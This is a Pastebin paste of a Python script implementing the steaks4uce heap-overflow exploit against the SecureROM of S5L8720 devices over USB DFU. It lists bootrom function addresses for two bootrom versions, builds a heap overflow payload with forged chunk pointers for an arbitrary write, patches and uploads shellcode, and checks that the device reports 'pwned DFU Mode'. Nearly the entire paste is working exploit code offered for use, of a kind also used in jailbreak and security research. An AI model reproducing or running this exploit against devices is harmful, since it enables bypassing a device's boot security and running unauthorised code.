Advertisement
Guest User

steaks4uce

a guest
Feb 17th, 2020
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.56 KB | None | 0 0
  1. # Credit: This file is based on steaks4uce exploit (heap overflow) by pod2g.
  2.  
  3. import struct, sys, time
  4. import usb # pyusb: use 'pip install pyusb' to install this module
  5. import dfu
  6.  
  7. constants_240_4 = [
  8.     0x22030000, #  1 - MAIN_STACK_ADDRESS
  9.         0x3af5, #  2 - nor_power_on
  10.         0x486d, #  3 - nor_init
  11.         0x6c81, #  4 - usb_destroy
  12.         0x1059, #  5 - usb_shutdown
  13.          0x560, #  6 - invalidate_instruction_cache
  14.     0x2202d800, #  7 - RELOCATE_SHELLCODE_ADDRESS
  15.          0x200, #  8 - RELOCATE_SHELLCODE_SIZE
  16.         0x795c, #  9 - memmove
  17.          0x534, # 10 - clean_data_cache
  18.          0x280, # 11 - gVersionString
  19.         0x83cd, # 12 - strlcat
  20.         0x30e9, # 13 - usb_wait_for_image
  21.     0x22000000, # 14 - LOAD_ADDRESS
  22.        0x24000, # 15 - MAX_SIZE
  23.     0x220241ac, # 16 - gLeakingDFUBuffer
  24.         0x1955, # 17 - free
  25.     0x65786563, # 18 - EXEC_MAGIC
  26.         0x1bf1, # 19 - memz_create
  27.         0x3339, # 20 - jump_to
  28.         0x1c19, # 21 - memz_destroy
  29.           0x58, # 22 - IMAGE3_LOAD_SP_OFFSET
  30.           0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET
  31.         0x1c5d, # 24 - image3_create_struct
  32.         0x22cd, # 25 - image3_load_continue
  33.         0x23a3, # 26 - image3_load_fail
  34. ]
  35.  
  36. constants_240_5_1 = [
  37.     0x22030000, #  1 - MAIN_STACK_ADDRESS
  38.         0x3afd, #  2 - nor_power_on
  39.         0x4875, #  3 - nor_init
  40.         0x6c89, #  4 - usb_destroy
  41.         0x1059, #  5 - usb_shutdown
  42.          0x560, #  6 - invalidate_instruction_cache
  43.     0x2202d800, #  7 - RELOCATE_SHELLCODE_ADDRESS
  44.          0x200, #  8 - RELOCATE_SHELLCODE_SIZE
  45.         0x7964, #  9 - memmove
  46.          0x534, # 10 - clean_data_cache
  47.          0x280, # 11 - gVersionString
  48.         0x83d5, # 12 - strlcat
  49.         0x30f1, # 13 - usb_wait_for_image
  50.     0x22000000, # 14 - LOAD_ADDRESS
  51.        0x24000, # 15 - MAX_SIZE
  52.     0x220241ac, # 16 - gLeakingDFUBuffer
  53.         0x1955, # 17 - free
  54.     0x65786563, # 18 - EXEC_MAGIC
  55.         0x1bf9, # 19 - memz_create
  56.         0x3341, # 20 - jump_to
  57.         0x1c21, # 21 - memz_destroy
  58.           0x58, # 22 - IMAGE3_LOAD_SP_OFFSET
  59.           0x54, # 23 - IMAGE3_LOAD_STRUCT_OFFSET
  60.         0x1c65, # 24 - image3_create_struct
  61.         0x22d5, # 25 - image3_load_continue
  62.         0x23ab, # 26 - image3_load_fail
  63. ]
  64.  
  65. class DeviceConfig:
  66.   def __init__(self, version, constants):
  67.     self.version = version
  68.     self.constants = constants
  69.  
  70. configs = [
  71.   DeviceConfig('240.4',   constants_240_4),   # S5L8720 (old bootrom)
  72.   DeviceConfig('240.5.1', constants_240_5_1), # S5L8720 (new bootrom)
  73. ]
  74.  
  75. # Pad to length 256 and add heap data for overwrite
  76. payload = '\x00' * 256 + struct.pack('<14I',
  77.               # 1. Allocated chunk to be freed
  78.               # Chunk header: (size 0x8)
  79.         0x84, #   0x00: previous_chunk
  80.          0x5, #   0x04: next_chunk
  81.               # Contents: (requested size 0x1c, allocated size 0x20)
  82.         0x80, #   0x08: buffer[0] - direction
  83.   0x22026280, #   0x0c: buffer[1] - usb_response_buffer
  84.   0xffffffff, #   0x10: buffer[2]
  85.        0x138, #   0x14: buffer[3] - size of payload in bytes
  86.        0x100, #   0x18: buffer[4]
  87.          0x0, #   0x1c: buffer[5]
  88.          0x0, #   0x20: buffer[6]
  89.          0x0, #   0x24: unused
  90.               # 2. Fake free chunk
  91.               # Chunk header: (size 0x8)
  92.         0x15, #   0x28: previous_chunk
  93.          0x2, #   0x2c: next_chunk
  94.               # Attack fd/bk pointers in this free chunk for arbitrary write:
  95.   0x22000001, #   0x30: fd - shellcode_address (what to write)
  96.   0x2202d7fc, #   0x34: bk - exception_irq() LR on the stack (where to write it)
  97. )
  98.  
  99. def generate_shellcode(constants):
  100.   with open('bin/steaks4uce-shellcode.bin', 'rb') as f:
  101.     shellcode = f.read()
  102.  
  103.   # Shellcode has placeholder values for constants; check they match and replace with constants from config
  104.   placeholders_offset = len(shellcode) - 4 * len(constants)
  105.   for i in range(len(constants)):
  106.     offset = placeholders_offset + 4 * i
  107.     (value,) = struct.unpack('<I', shellcode[offset:offset + 4])
  108.     assert value == 0xBAD00001 + i
  109.  
  110.   return shellcode[:placeholders_offset] + struct.pack('<%sI' % len(constants), *constants)
  111.  
  112. def exploit():
  113.   print '*** based on steaks4uce exploit (heap overflow) by pod2g ***'
  114.  
  115.   device = dfu.acquire_device()
  116.   print 'Found:', device.serial_number
  117.  
  118.   if 'PWND:[' in device.serial_number:
  119.     print 'Device is already in pwned DFU Mode. Not executing exploit.'
  120.     return
  121.  
  122.   if 'CPID:8720' not in device.serial_number:
  123.     print 'ERROR: Not a compatible device. This exploit is for S5L8720 devices only. Exiting.'
  124.     sys.exit(1)
  125.  
  126.   chosenConfig = None
  127.   for config in configs:
  128.     if 'SRTG:[iBoot-%s]' % config.version in device.serial_number:
  129.       chosenConfig = config
  130.       break
  131.  
  132.   if chosenConfig is None:
  133.     print 'ERROR: CPID is compatible, but serial number string does not match.'
  134.     print 'Make sure device is in SecureROM DFU Mode and not LLB/iBSS DFU Mode. Exiting.'
  135.     sys.exit(1)
  136.  
  137.   dfu.reset_counters(device)
  138.   dfu.send_data(device, generate_shellcode(chosenConfig.constants))
  139.   dfu.send_data(device, payload)
  140.   assert len(device.ctrl_transfer(0xA1, 1, 0, 0, len(payload), 1000)) == len(payload)
  141.   dfu.release_device(device)
  142.  
  143.   time.sleep(0.01)
  144.  
  145.   device = dfu.acquire_device()
  146.   dfu.usb_reset(device)
  147.   dfu.release_device(device)
  148.  
  149.   device = dfu.acquire_device()
  150.   failed = 'PWND:[steaks4uce]' not in device.serial_number
  151.   dfu.release_device(device)
  152.  
  153.   if failed:
  154.     print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.'
  155.     sys.exit(1)
  156.  
  157.   print 'Device is now in pwned DFU Mode.'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement